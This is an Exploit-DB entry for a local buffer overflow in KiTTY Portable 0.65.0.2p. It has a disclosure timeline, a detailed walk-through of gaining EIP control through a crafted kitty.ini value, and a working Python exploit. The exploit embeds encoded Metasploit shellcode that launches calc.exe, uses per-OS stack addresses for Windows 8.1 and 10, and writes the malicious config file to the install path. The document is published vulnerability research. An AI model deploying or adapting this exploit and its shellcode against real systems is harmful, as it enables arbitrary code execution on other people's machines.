KiTTY Portable 0.65.0.2p (Windows 8.1/10) - Local kitty.ini Overflow

EDB-ID:

39122

CVE:

N/A




Platform:

Windows

Date:

2015-12-29


# Exploit Title: KiTTY Portable <= 0.65.0.2p Local kitty.ini Overflow (Win8.1/Win10)
# Date: 28/12/2015
# Exploit Author: Guillaume Kaddouch
# 	Twitter: @gkweb76
#	Blog: http://networkfilter.blogspot.com 
#	GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.9bis.net/kitty/
# Software Link: http://sourceforge.net/projects/portableapps/files/KiTTY%20Portable/KiTTYPortable_0.65.0.2_English.paf.exe
# Version: 0.65.0.2p
# Tested on: Windows 8.1 Pro x64 (FR), Windows 10 Pro x64 (FR)
# Category: Local

"""
Disclosure Timeline:
--------------------
2015-09-18: Vulnerability discovered
2015-09-26: Vendor contacted
2015-09-28: Vendor answer
2015-10-09: KiTTY 0.65.0.3p released : unintentionally (vendor said) preventing exploit from working, without fixing the core vulnerability
2015-10-20: KiTTY 0.65.1.1p released, vendor fix, but app can still be crashed using same vulnerability on another kitty.ini parameter
2015-11-15: KiTTY 0.66.6.1p released, seems fixed
2015-12-28: exploit published

Description :
-------------
A local overflow exists in kitty.ini file used by KiTTY portable. By writing a 1048 bytes string into 
the kitty.ini file, an overflow occurs that makes Kitty crashing. At time of the crash, EIP is 
overwritten at offset 1036. As all DLLs are ALSR and DEP protected, and rebased, we can only use 
kitty_portable.exe addresses, which start with a NULL. Successful exploitation will allow to execute
local executables on Windows 8.1 and Windows 10.

Win8.1 -> Code Execution
Win10  -> Code Execution

Instructions:
-------------
- Run exploit
- Launch KiTTY

Exploitation:
-------------
As EDX register points to our buffer, it seems like using a return address pointing to a 
JMP EDX instruction would do the trick. However this is not the case, because of the address containing
a NULL byte, our 1048 bytes buffer is truncated to 1039 bytes, and an access violation occurs before EIP could be
overwritten:

EAX = 00000041
00533DA2     0000           ADD BYTE PTR DS:[EAX],AL <---- Access violation when writing to [EAX]
00533DA4     00             DB 00

Increasing our initial buffer by 4 bytes (1052 bytes) gives us another crash,
but neither EIP nor SEH are overwritten. We end up with another memory access violation, which although looking
like a deadend, is in fact exploitable:

ECX and EBX points to our buffer
EDX and EDI are overwritten by our buffer

EDI = 41414141
764F8DD2   8917             MOV DWORD PTR DS:[EDI],EDX <---- Access violation when writing to [EDI]

Although we do not have control over the execution flow (EIP), we have at least control of the value written to EDI
at offset 1048. We can write a valid memory address into EDI, allowing the program to continue 
its execution. One such address is the address ESP points to on the stack: 0x0028C4F8.
Let's take a closer look to the code executed:


764F8DB8   BA FFFEFE7E      MOV EDX,7EFEFEFF			<-------- (3) JMP back here
764F8DBD   8B01             MOV EAX,DWORD PTR DS:[ECX]
764F8DBF   03D0             ADD EDX,EAX
764F8DC1   83F0 FF          XOR EAX,FFFFFFFF
764F8DC4   33C2             XOR EAX,EDX
764F8DC6   8B11             MOV EDX,DWORD PTR DS:[ECX]
764F8DC8   83C1 04          ADD ECX,4
764F8DCB   A9 00010181      TEST EAX,81010100
764F8DD0   75 07            JNZ SHORT msvcrt.764F8DD9

764F8DD2   8917             MOV DWORD PTR DS:[EDI],EDX  <------- (1) We start HERE
764F8DD4   83C7 04          ADD EDI,4
764F8DD7   EB DF            JMP SHORT msvcrt.764F8DB8   <------- (2) jump back above

1) Value from EDX is copied to the stack where EDI points to, then EDI is incremented and points to next address
2) The execution jumps back at the beginning of the code block, overwrites our source register EDX with 7EFEFEFF,
overwrites EAX with 41414141 (ECX point to our buffer), restore EDX with 41414141, increment ECX pointing to our
buffer by 4, pointing to our next buffer value, and starting all over again. Also there is a very interesting instruction 
following this code:

764F8DD2   8917             MOV DWORD PTR DS:[EDI],EDX    <------- We are HERE
764F8DD4   83C7 04          ADD EDI,4
764F8DD7   EB DF            JMP SHORT msvcrt.764F8DB8
764F8DD9   84D2             TEST DL,DL
764F8DDB   74 32            JE SHORT msvcrt.764F8E0F
764F8DDD   84F6             TEST DH,DH
764F8DDF   74 15            JE SHORT msvcrt.764F8DF6
764F8DE1   F7C2 0000FF00    TEST EDX,0FF0000
764F8DE7   75 16            JNZ SHORT msvcrt.764F8DFF
764F8DE9   66:8917          MOV WORD PTR DS:[EDI],DX
764F8DEC   8B4424 08        MOV EAX,DWORD PTR SS:[ESP+8]
764F8DF0   C647 02 00       MOV BYTE PTR DS:[EDI+2],0
764F8DF4   5F               POP EDI
764F8DF5   C3               RETN							<------- We want that!

This code block happily copies our entire buffer chunk by chunk to the stack, and is later followed by a RET instruction.
If there could be a way to copy our buffer on the stack and make ESP pointing to a predictable part or our buffer, the RET would
give us the control of the execution flow.

When the copy operation is finished, the code crashes again and this time EIP is overwritten with 41414141, and ESP
has the address 0x0028C500 pointing toward the near begining of our buffer (offset 8). The RET has been reached, wonderful :-)

However, we cannot write a usable address here to jump somewhere else as a NULL byte would truncate our entire buffer and no 
crash would occur... The goal here would be to find the correct address to put into EDI so that ESP will point to the end
of our buffer, where we will be able to use another address, containing a NULL, to jump somewhere else and
take back control of the execution flow. However our buffer is already terminated by a NULL byte address for EDI.

1) We cannot make ESP points anywhere in the middle of our buffer, as we can only use addresses containing a NULL
2) We cannot add another valid NULL containing address at the end of our buffer, as a stack address containing a NULL is there 
for EDI
3) EDI contains an address already pointing to the start of our buffer, thanks to the copy operation, our only chance is to try
to make ESP pointing to it when the crash happens.

After testing by incrementing or decrementing EDI address value, it appears ESP always point to 0x0028C500 at time 
of the crash. This means we can calculate the correct offset to align EDI address with ESP, just before the RET happens to make 
EIP following that address. The EDI address to achieve that is: (EIP)0x0028C500 - (buffer length)1052 = 0x0028C0E4. 
As our buffer is copied onto a NULLs filled zone, we can omit the NULL byte and set EDI to '\xE4\xC0\x28'.

To sume it up:
1) First crash with EIP overwritten seems not exploitable
2) Second crash does not have EIP nor SEH overwritten (memory access violation), we only have "control" over some registers
3) Tweaking values of EDX and EDI, makes the program continue execution and copying our buffer onto the stack
4) The RET instruction is reached and execution crashes again
5) We find an EDI address value which is valid for a) copying our buffer on stack, b) is aligning itself with ESP at the correct
offset and c) will appear on the stack and be used by the RET instruction, giving us finally control over the execution flow.

That is like being forbidden to enter a building, but we give two bags (EDI + EDX) to someone authorized who enters the building,
who do all the work for us inside, and goes out back to us with the vault key (EIP).
"""

import sys

if len(sys.argv) == 1:
	print "\nUsage: kitty_ini_8_10.py <win8.1|win10>"
	print "Example: kitty_ini_8_10.py win8.1"
	sys.exit()

os = sys.argv[1] # Windows version to target

# Metasploit WinExec shellcode (calc.exe)
# Encoder: x86/alpha_mixed
# Bad chars: \x00\x0a\x0d\x21\x11\x1a\x01\x31
# Size: 448 bytes
shellcode = (
"\x89\xe6\xdd\xc7\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x69\x6c\x39\x78\x6f\x72\x57\x70\x77\x70\x65\x50\x55\x30\x6c"
"\x49\x39\x75\x66\x51\x4f\x30\x65\x34\x4e\x6b\x70\x50\x56\x50"
"\x4c\x4b\x70\x52\x36\x6c\x6e\x6b\x50\x52\x76\x74\x4c\x4b\x74"
"\x32\x64\x68\x76\x6f\x48\x37\x50\x4a\x77\x56\x55\x61\x69\x6f"
"\x6c\x6c\x45\x6c\x33\x51\x33\x4c\x35\x52\x34\x6c\x61\x30\x6b"
"\x71\x38\x4f\x34\x4d\x76\x61\x5a\x67\x4b\x52\x38\x72\x63\x62"
"\x52\x77\x4e\x6b\x76\x32\x46\x70\x4e\x6b\x32\x6a\x47\x4c\x4e"
"\x6b\x50\x4c\x54\x51\x52\x58\x38\x63\x70\x48\x35\x51\x58\x51"
"\x30\x51\x6c\x4b\x61\x49\x57\x50\x37\x71\x5a\x73\x6c\x4b\x30"
"\x49\x56\x78\x39\x73\x66\x5a\x52\x69\x6c\x4b\x57\x44\x6e\x6b"
"\x57\x71\x6b\x66\x34\x71\x4b\x4f\x6e\x4c\x59\x51\x48\x4f\x64"
"\x4d\x67\x71\x58\x47\x75\x68\x6b\x50\x72\x55\x68\x76\x74\x43"
"\x43\x4d\x6c\x38\x45\x6b\x73\x4d\x61\x34\x44\x35\x4d\x34\x51"
"\x48\x4e\x6b\x71\x48\x34\x64\x76\x61\x39\x43\x35\x36\x4e\x6b"
"\x74\x4c\x62\x6b\x4e\x6b\x50\x58\x67\x6c\x47\x71\x4b\x63\x6e"
"\x6b\x65\x54\x6c\x4b\x76\x61\x38\x50\x4c\x49\x37\x34\x75\x74"
"\x37\x54\x73\x6b\x63\x6b\x71\x71\x53\x69\x52\x7a\x43\x61\x79"
"\x6f\x59\x70\x51\x4f\x61\x4f\x32\x7a\x4c\x4b\x42\x32\x58\x6b"
"\x4e\x6d\x61\x4d\x43\x5a\x36\x61\x6c\x4d\x4d\x55\x6c\x72\x47"
"\x70\x67\x70\x77\x70\x42\x70\x32\x48\x45\x61\x4e\x6b\x70\x6f"
"\x6e\x67\x4b\x4f\x59\x45\x4f\x4b\x4a\x50\x6e\x55\x39\x32\x30"
"\x56\x30\x68\x4c\x66\x4c\x55\x6f\x4d\x4d\x4d\x49\x6f\x4e\x35"
"\x55\x6c\x74\x46\x33\x4c\x64\x4a\x6b\x30\x6b\x4b\x4d\x30\x42"
"\x55\x47\x75\x6f\x4b\x70\x47\x67\x63\x30\x72\x30\x6f\x53\x5a"
"\x43\x30\x63\x63\x4b\x4f\x38\x55\x32\x43\x61\x71\x50\x6c\x42"
"\x43\x34\x6e\x33\x55\x44\x38\x43\x55\x33\x30\x41\x41"
)

# Stack address where to copy our shellcode, with an offset of ESP - 1052
if os == "win8.1":
	edi 	= '\xD4\xC0\x28' # 0x0028C0D4 WIN8.1 Pro x64
elif os == "win10":
	edi 	= '\xD4\xC0\x29' # 0x0029C0D4 WIN10 Pro x64
else:
	print "Unknown OS chosen. Please choose 'win8.1' or 'win10'."
	sys.exit()

nops	= '\x90' * 8
padding = '\x41' * (1048 - len(nops) - len(shellcode))

payload = nops + shellcode + padding + edi

# Kitty.ini configuration file
buffer ="[ConfigBox]\n"
buffer +="height=22\n"
buffer +="filter=yes\n"
buffer +="#default=yes\n"
buffer +="#noexit=no\n"
buffer +="[KiTTY]\n"
buffer +="backgroundimage=no\n"
buffer +="capslock=no\n"
buffer +="conf=yes\n"
buffer +="cygterm=yes\n"
buffer +="icon=no\n"
buffer +="#iconfile=\n"
buffer +="#numberoficons=45\n"
buffer +="paste=no\n"
buffer +="print=yes\n"
buffer +="scriptfilefilter=\n"
buffer +="size=no\n"
buffer +="shortcuts=yes\n"
buffer +="mouseshortcuts=yes\n"
buffer +="hyperlink=no\n"
buffer +="transparency=no\n"
buffer +="#configdir=\n"
buffer +="#downloaddir=\n"
buffer +="#uploaddir=\n"
buffer +="remotedir=\n"
buffer +="#PSCPPath=\n"
buffer +="#PlinkPath=\n"
buffer +="#WinSCPPath=\n"
buffer +="#CtHelperPath=\n"
buffer +="#antiidle== \k08\\\n"
buffer +="#antiidledelay=60\n"
buffer +="sshversion=\n"
buffer +="#WinSCPProtocol=sftp\n"
buffer +="#autostoresshkey=no\n"
buffer +="#UserPassSSHNoSave=no\n"
buffer +="KiClassName=" + payload + "\n"
buffer +="#ReconnectDelay=5\n"
buffer +="savemode=dir\n"
buffer +="bcdelay=0\n"
buffer +="commanddelay=5\n"
buffer +="initdelay=2.0\n"
buffer +="internaldelay=10\n"
buffer +="slidedelay=0\n"
buffer +="wintitle=yes\n"
buffer +="zmodem=yes\n"
buffer +="[Print]\n"
buffer +="height=100\n"
buffer +="maxline=60\n"
buffer +="maxchar=85\n"
buffer +="[Folder]\n"
buffer +="[Launcher]\n"
buffer +="reload=yes\n"
buffer +="[Shortcuts]\n"
buffer +="print={SHIFT}{F7}\n"
buffer +="printall={F7}\n"

# Kitty.ini file location (modify according to your installation path)
file = "C:\\kitty\\App\\KiTTY\\kitty.ini"
try:
	print "[*] Writing to %s (%s bytes)" % (file, len(buffer))
	f = open(file,'w')
	f.write(buffer)
	f.close()
	print "[*] Done!"
except:
    print "[-] Error writing %s" % file